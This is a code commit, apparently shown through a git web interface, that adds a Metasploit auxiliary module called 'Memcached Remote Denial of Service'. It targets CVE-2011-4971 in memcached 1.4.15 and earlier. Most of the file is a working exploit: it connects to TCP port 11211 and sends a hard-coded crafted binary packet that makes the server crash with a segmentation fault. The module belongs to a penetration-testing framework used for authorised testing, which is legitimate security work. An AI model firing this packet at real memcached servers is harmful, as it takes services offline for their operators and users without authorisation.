Added Memcached Remote Denial of Service module
https://code.google.com/p/memcached/issues/detail?id=192unstable
parent
293c847a32
commit
76e70adcff
|
@ -0,0 +1,50 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Memcached Remote Denial of Service',
|
||||||
|
'Description' => %q{
|
||||||
|
This module send specially-crafted packet causing a
|
||||||
|
segmentation fault in memcached v1.4.15 or earlier versions.
|
||||||
|
},
|
||||||
|
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ],
|
||||||
|
[ 'CVE', '2011-4971' ],
|
||||||
|
],
|
||||||
|
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(11211),], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
connect
|
||||||
|
pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
|
||||||
|
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
|
||||||
|
pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
print_status("Sending dos packet...")
|
||||||
|
|
||||||
|
sock.put(pkt)
|
||||||
|
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue